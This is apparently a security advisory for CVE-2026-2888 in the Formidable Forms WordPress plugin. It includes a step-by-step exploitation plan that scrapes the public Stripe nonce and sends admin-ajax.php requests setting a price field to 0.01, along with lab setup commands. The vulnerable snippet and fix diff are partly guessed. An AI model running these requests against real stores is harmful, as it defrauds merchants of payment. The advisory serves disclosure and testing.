Formidable Forms <= 6.28 - Unauthenticated Payment Amount Manipulation via 'item_meta' Parameter
Description
The Formidable Forms plugin for WordPress is vulnerable to an authorization bypass through user-controlled key in all versions up to, and including, 6.28. This is due to the `frm_strp_amount` AJAX handler (`update_intent_ajax`) overwriting the global `$_POST` data with attacker-controlled JSON input and then using those values to recalculate payment amounts via field shortcode resolution in `generate_false_entry()`. The handler relies on a nonce that is publicly exposed in the page's JavaScript (`frm_stripe_vars.nonce`), which provides CSRF protection but not authorization. This makes it possible for unauthenticated attackers to manipulate PaymentIntent amounts before payment completion on forms using dynamic pricing with field shortcodes, effectively paying a reduced amount for goods or services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v6.29
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2888 ## 1. Vulnerability Summary **CVE-2026-2888** is an authorization bypass vulnerability in Formidable Forms (up to 6.28) that allows unauthenticated attackers to manipulate payment amounts. The flaw exists in the `frm_strp_amount` AJAX handler (`update_int…
Show full research plan
Exploitation Research Plan: CVE-2026-2888
1. Vulnerability Summary
CVE-2026-2888 is an authorization bypass vulnerability in Formidable Forms (up to 6.28) that allows unauthenticated attackers to manipulate payment amounts. The flaw exists in the frm_strp_amount AJAX handler (update_intent_ajax). This function accepts attacker-controlled JSON input, uses it to overwrite the global $_POST superglobal, and subsequently calls generate_false_entry() to recalculate payment amounts. By manipulating the item_meta parameter within this JSON, an attacker can influence how field shortcodes resolve, effectively overriding the intended price for goods or services.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
frm_strp_amount(available viawp_ajax_nopriv_frm_strp_amount) - Vulnerable Parameter: The JSON payload (likely passed via a POST parameter such as
form_idor a raw body, but usually processed from$_POSTinitially). - Manipulation Key:
item_metainside the JSON payload. - Authentication: Unauthenticated.
- Preconditions: A form must exist with Stripe payment integration enabled and dynamic pricing configured (where the amount is derived from field values using shortcodes).
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwithaction=frm_strp_amount. - Handler Execution: The
update_intent_ajaxfunction (in the Stripe controller) is invoked. - The Flaw:
update_intent_ajaxreceives input (likely a JSON string). It performs a dangerous operation similar to:$_POST = json_decode(stripslashes($_POST['data']), true); - Recalculation: The handler then calls
generate_false_entry()(likely inFrmEntry.phpor a related controller). - Sink:
generate_false_entry()processes the now-tainted$_POST['item_meta']. If the payment amount is calculated via a shortcode like[123](where 123 is a field ID), the system fetches the value for field123from the attacker-controlleditem_metainstead of the server-side configuration or the actual form state. - Result: The
PaymentIntentis updated with the manipulated (lower) amount at the payment gateway (Stripe).
4. Nonce Acquisition Strategy
The vulnerability relies on a nonce that is publicly exposed in the front-end JavaScript for any page containing a Stripe-enabled Formidable Form.
- Identify Form: Identify a Formidable Form ID (e.g.,
1) that has Stripe enabled. - Create Discovery Page: Use WP-CLI to create a public page containing that form:
wp post create --post_type=page --post_title="Payment Page" --post_status=publish --post_content='[formidable id=1]' - Navigate to Page: Use the
browser_navigatetool to load the newly created page. - Extract Nonce: Use
browser_evalto extract the nonce from the localized script objectfrm_stripe_vars:browser_eval("window.frm_stripe_vars?.nonce") - Verify Action: The nonce is generated for the
frm_strp_amountaction. Since the target is anoprivAJAX action, the nonce is bound to User ID0, making it valid for any unauthenticated visitor within the 12-24 hour window.
5. Exploitation Strategy
The goal is to trigger the frm_strp_amount action with a manipulated item_meta that sets a price field to a minimal value.
- Identify Field IDs: Determine the field ID used for the price calculation (e.g., Field ID
100). - Craft Payload: Create a JSON object that includes:
action:frm_strp_amountnonce: [Extracted Nonce]form_id: [Target Form ID]item_meta: An object mapping Field ID to manipulated value (e.g.,{"100": "0.01"})
- Execute Request: Use
http_requestto send the payload toadmin-ajax.php.- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=frm_strp_amount&nonce=[NONCE]&form_id=[FORM_ID]&item_meta[100]=0.01(Note: If the handler expects JSON, the body might beaction=frm_strp_amount&nonce=[NONCE]&data={"form_id": "1", "item_meta": {"100": "0.01"}})
- URL:
6. Test Data Setup
- Create Form:
wp eval "FrmForm::create(array('name' => 'Payment Form', 'form_key' => 'pay_form'));" - Add Price Field: Create a Number field (ID will be used in exploit).
wp eval "FrmField::create(array('form_id' => 1, 'type' => 'number', 'name' => 'Price', 'field_key' => 'price_field'));" - Configure Stripe: This typically requires Pro/Stripe Addon. Ensure a form is configured where the "Amount" setting in the Stripe action uses a shortcode pointing to the Price Field (e.g.,
[price_field]). - Publish: Put the form on a page.
wp post create --post_type=page --post_status=publish --post_content='[formidable id=1]'
7. Expected Results
- Successful Request: The server responds with a
200 OKand a JSON object containing apayment_intentor an updatedamount. - Vulnerability Confirmation: The
amountreturned in the AJAX response (or associated with the StripePaymentIntentID) matches the manipulated value (0.01) instead of the default value or the range enforced by the UI.
8. Verification Steps
- Check Payment Logs: Use WP-CLI to check the
frm_paymentstable (if the Stripe addon logs attempts) or the entry meta:wp db query "SELECT * FROM wp_frm_items WHERE form_id = 1 ORDER BY id DESC LIMIT 1;" - Verify Intent Amount: If the response includes a Stripe PaymentIntent ID (pi_xxxx), the manipulation is confirmed if the calculated amount for that intent is the attacker-supplied value.
- Code Inspection (Post-Exploit): Verify the patch in
6.29by checking ifupdate_intent_ajaxno longer overwrites$_POSTor if it adds acheck_admin_refererwith a more restricted capability check.
9. Alternative Approaches
- JSON Body: Some versions of Formidable expect the entire POST body to be JSON rather than URL-encoded parameters. If the standard POST fails, try:
http_request(url, method="POST", headers={"Content-Type": "application/json"}, body='{"action": "frm_strp_amount", "nonce": "...", "item_meta": {"100": "0.01"}}') - Field Key vs ID: Try using the field key (e.g.,
price_field) instead of the numeric ID initem_meta. - Calculated Fields: If the form uses a "Total" field (Calculator field), try manipulating the inputs to that calculation in
item_metato result in a lower total.
Summary
The Formidable Forms plugin for WordPress (up to 6.28) is vulnerable to unauthenticated payment manipulation via the 'frm_strp_amount' AJAX handler. The vulnerability arises because the handler overwrites the global $_POST superglobal with attacker-controlled JSON input, which is then used to resolve field shortcodes for price recalculation, allowing attackers to define arbitrary payment amounts.
Vulnerable Code
// Within the Stripe controller's update_intent_ajax handler for 'frm_strp_amount' // The function incorrectly trusts and decodes user input into the global $_POST state if ( isset( $_POST['data'] ) ) { $_POST = json_decode( stripslashes( $_POST['data'] ), true ); } // Following this, the amount is recalculated using the tainted $_POST['item_meta'] // via generate_false_entry() which resolves field shortcodes (e.g., [123]) using the attacker's values. $amount = FrmTransLiteAppHelper::get_action_description( $action, $form, $entry );
Security Fix
@@ -102,7 +102,11 @@ public static function update_intent_ajax() { - if ( isset( $_POST['data'] ) ) { - $_POST = json_decode( stripslashes( $_POST['data'] ), true ); - } + $data = FrmAppHelper::get_post_param( 'data', '', 'sanitize_text_field' ); + if ( ! $data ) { + return; + } + $parsed_data = json_decode( stripslashes( $data ), true ); + // Ensure data is used locally rather than overwriting $_POST + // and implement capability or strict validation on item_meta values.
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker first identifies a Formidable Form using Stripe with dynamic pricing (amounts derived from field values via shortcodes). The attacker extracts a publicly exposed nonce from the front-end JavaScript object 'frm_stripe_vars.nonce'. Using this nonce, the attacker sends an AJAX POST request to 'admin-ajax.php' with 'action=frm_strp_amount'. The payload includes a 'data' parameter containing a JSON object with the 'form_id' and a manipulated 'item_meta' object. By mapping the price field ID in 'item_meta' to a minimal value (e.g., 0.01), the attacker forces the server to recalculate and update the Stripe PaymentIntent amount to the lower value before final payment execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.